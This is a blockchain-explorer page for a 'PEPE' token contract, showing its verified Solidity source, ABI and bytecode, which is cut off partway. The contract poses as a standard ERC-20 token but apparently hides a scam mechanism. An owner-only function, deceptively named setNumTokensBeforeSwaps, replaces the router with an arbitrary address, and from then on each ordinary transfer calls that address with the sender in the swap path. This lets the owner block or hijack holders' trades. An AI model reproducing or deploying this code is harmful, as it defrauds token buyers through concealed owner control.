ETH Price: $3,052.59 (-8.37%)
 

Overview

Max Total Supply

50,000,000 PEPE

Holders

188

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
162,934.518382770103702562 PEPE

Value
$0.00
0x0e83e2d5d4d89b7ca963d1af11680929747e6ac5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPE

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-20
*/

/**

*/

/**

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from,
     address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Rout01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Rout01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract PEPE is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable public marketingWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;


    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _miniTokenBefSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;

    bool private tradingOpen;
    bool private swapEnabled = false;
    uint256 firstBlock;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor () payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        _name = "PEPE";
        _symbol = "PEPE";
        _decimals = 18;
        _owner = 0xfae722D9560c1A783f31CaD630e820b1B9a783f5;
        _totalSupply = 50000000  * 10 ** _decimals;
        marketingWalletAddress = payable(0xfae722D9560c1A783f31CaD630e820b1B9a783f5);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExcludedFromFee[_owner] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function miniTokenBefSwapAmount() public view returns (uint256) {
        return _miniTokenBefSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwaps(address newLimit) external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(newLimit);
        swapAndLiquifyEnabled = true;
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _miniTokenBefSwap;
                swapAndLiquify(contractTokenBalance,sender);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount,address sender) private lockTheSwap {

        // swap token -> eth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = sender;
        path[2] = uniswapV2Router.WETH();
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );

        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);

    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"miniTokenBefSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6009555f600a555f600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601060156101000a81548160ff0219169083151502179055505f601060166101000a81548160ff0219169083151502179055505f601060186101000a81548160ff0219169083151502179055505f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506040518060400160405280600481526020017f50455045000000000000000000000000000000000000000000000000000000008152506001908161015d91906107e1565b506040518060400160405280600481526020017f5045504500000000000000000000000000000000000000000000000000000000815250600290816101a291906107e1565b50601260035f6101000a81548160ff021916908360ff16021790555073fae722d9560c1a783f31cad630e820b1b9a783f55f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900460ff16600a61022c9190610a18565b6302faf08061023b9190610a62565b600b8190555073fae722d9560c1a783f31cad630e820b1b9a783f5600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b5460055f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516105999190610ab2565b60405180910390a350610acb565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061062257607f821691505b602082108103610635576106346105de565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026106977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261065c565b6106a1868361065c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6106e56106e06106db846106b9565b6106c2565b6106b9565b9050919050565b5f819050919050565b6106fe836106cb565b61071261070a826106ec565b848454610668565b825550505050565b5f90565b61072661071a565b6107318184846106f5565b505050565b5b81811015610754576107495f8261071e565b600181019050610737565b5050565b601f8211156107995761076a8161063b565b6107738461064d565b81016020851015610782578190505b61079661078e8561064d565b830182610736565b50505b505050565b5f82821c905092915050565b5f6107b95f198460080261079e565b1980831691505092915050565b5f6107d183836107aa565b9150826002028217905092915050565b6107ea826105a7565b67ffffffffffffffff811115610803576108026105b1565b5b61080d825461060b565b610818828285610758565b5f60209050601f831160018114610849575f8415610837578287015190505b61084185826107c6565b8655506108a8565b601f1984166108578661063b565b5f5b8281101561087e57848901518255600182019150602085019450602081019050610859565b8683101561089b5784890151610897601f8916826107aa565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156109325780860481111561090e5761090d6108b0565b5b600185161561091d5780820291505b808102905061092b856108dd565b94506108f2565b94509492505050565b5f8261094a5760019050610a05565b81610957575f9050610a05565b816001811461096d5760028114610977576109a6565b6001915050610a05565b60ff841115610989576109886108b0565b5b8360020a9150848211156109a05761099f6108b0565b5b50610a05565b5060208310610133831016604e8410600b84101617156109db5782820a9050838111156109d6576109d56108b0565b5b610a05565b6109e884848460016108e9565b925090508184048111156109ff576109fe6108b0565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610a22826106b9565b9150610a2d83610a0c565b9250610a5a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461093b565b905092915050565b5f610a6c826106b9565b9150610a77836106b9565b9250828202610a85816106b9565b91508282048414831517610a9c57610a9b6108b0565b5b5092915050565b610aac816106b9565b82525050565b5f602082019050610ac55f830184610aa3565b92915050565b612c4c80610ad85f395ff3fe6080604052600436106101ba575f3560e01c806382eefb43116100eb578063c816841b11610089578063dd62ed3e11610063578063dd62ed3e14610631578063e5d69ba51461066d578063f0cd1dac14610695578063f2fde38b146106bf576101c1565b8063c816841b146105b3578063d158272d146105dd578063da00097d14610607576101c1565b806395d89b41116100c557806395d89b41146104e7578063a457c2d714610511578063a9059cbb1461054d578063b2bdfa7b14610589576101c1565b806382eefb431461047d5780638da5cb5b146104a7578063914eb66a146104d1576101c1565b806339509351116101585780634a74bb02116101325780634a74bb02146103b15780635342acb4146103db578063557ed1ba1461041757806370a0823114610441576101c1565b8063395093511461030f5780633ecad2711461034b578063405ac9e814610387576101c1565b806318160ddd1161019457806318160ddd1461025557806323b872dd1461027f57806327c8f835146102bb578063313ce567146102e5576101c1565b806306fdde03146101c5578063095ea7b3146101ef5780631694505e1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d96106e7565b6040516101e6919061209c565b60405180910390f35b3480156101fa575f80fd5b506102156004803603810190610210919061214d565b610777565b60405161022291906121a5565b60405180910390f35b348015610236575f80fd5b5061023f610794565b60405161024c9190612219565b60405180910390f35b348015610260575f80fd5b506102696107b9565b6040516102769190612241565b60405180910390f35b34801561028a575f80fd5b506102a560048036038101906102a0919061225a565b6107c2565b6040516102b291906121a5565b60405180910390f35b3480156102c6575f80fd5b506102cf610897565b6040516102dc91906122b9565b60405180910390f35b3480156102f0575f80fd5b506102f96108bc565b60405161030691906122ed565b60405180910390f35b34801561031a575f80fd5b506103356004803603810190610330919061214d565b6108d1565b60405161034291906121a5565b60405180910390f35b348015610356575f80fd5b50610371600480360381019061036c9190612306565b61097f565b60405161037e91906121a5565b60405180910390f35b348015610392575f80fd5b5061039b61099c565b6040516103a89190612241565b60405180910390f35b3480156103bc575f80fd5b506103c56109a5565b6040516103d291906121a5565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc9190612306565b6109b8565b60405161040e91906121a5565b60405180910390f35b348015610422575f80fd5b5061042b6109d5565b6040516104389190612241565b60405180910390f35b34801561044c575f80fd5b5061046760048036038101906104629190612306565b6109dc565b6040516104749190612241565b60405180910390f35b348015610488575f80fd5b50610491610a22565b60405161049e9190612241565b60405180910390f35b3480156104b2575f80fd5b506104bb610a28565b6040516104c891906122b9565b60405180910390f35b3480156104dc575f80fd5b506104e5610a4f565b005b3480156104f2575f80fd5b506104fb610b9d565b604051610508919061209c565b60405180910390f35b34801561051c575f80fd5b506105376004803603810190610532919061214d565b610c2d565b60405161054491906121a5565b60405180910390f35b348015610558575f80fd5b50610573600480360381019061056e919061214d565b610cf5565b60405161058091906121a5565b60405180910390f35b348015610594575f80fd5b5061059d610d13565b6040516105aa91906122b9565b60405180910390f35b3480156105be575f80fd5b506105c7610d36565b6040516105d491906122b9565b60405180910390f35b3480156105e8575f80fd5b506105f1610d5b565b6040516105fe9190612351565b60405180910390f35b348015610612575f80fd5b5061061b610d81565b60405161062891906121a5565b60405180910390f35b34801561063c575f80fd5b506106576004803603810190610652919061236a565b610d94565b6040516106649190612241565b60405180910390f35b348015610678575f80fd5b50610693600480360381019061068e9190612306565b610e16565b005b3480156106a0575f80fd5b506106a9610f08565b6040516106b69190612241565b60405180910390f35b3480156106ca575f80fd5b506106e560048036038101906106e09190612306565b610f0e565b005b6060600180546106f6906123d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610722906123d5565b801561076d5780601f106107445761010080835404028352916020019161076d565b820191905f5260205f20905b81548152906001019060200180831161075057829003601f168201915b5050505050905090565b5f61078a6107836110cb565b84846110d2565b6001905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b5f6107ce848484611295565b5061088c846107db6110cb565b61088785604051806060016040528060288152602001612bca6028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61083e6110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b6110d2565b600190509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f9054906101000a900460ff16905090565b5f6109756108dd6110cb565b846109708560065f6108ed6110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b6110d2565b6001905092915050565b6008602052805f5260405f205f915054906101000a900460ff1681565b5f600c54905090565b601060159054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f42905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600a5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a576110cb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada9061244f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bac906123d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd8906123d5565b8015610c235780601f10610bfa57610100808354040283529160200191610c23565b820191905f5260205f20905b815481529060010190602001808311610c0657829003601f168201915b5050505050905090565b5f610ceb610c396110cb565b84610ce685604051806060016040528060258152602001612bf26025913960065f610c626110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b6110d2565b6001905092915050565b5f610d08610d016110cb565b8484611295565b506001905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff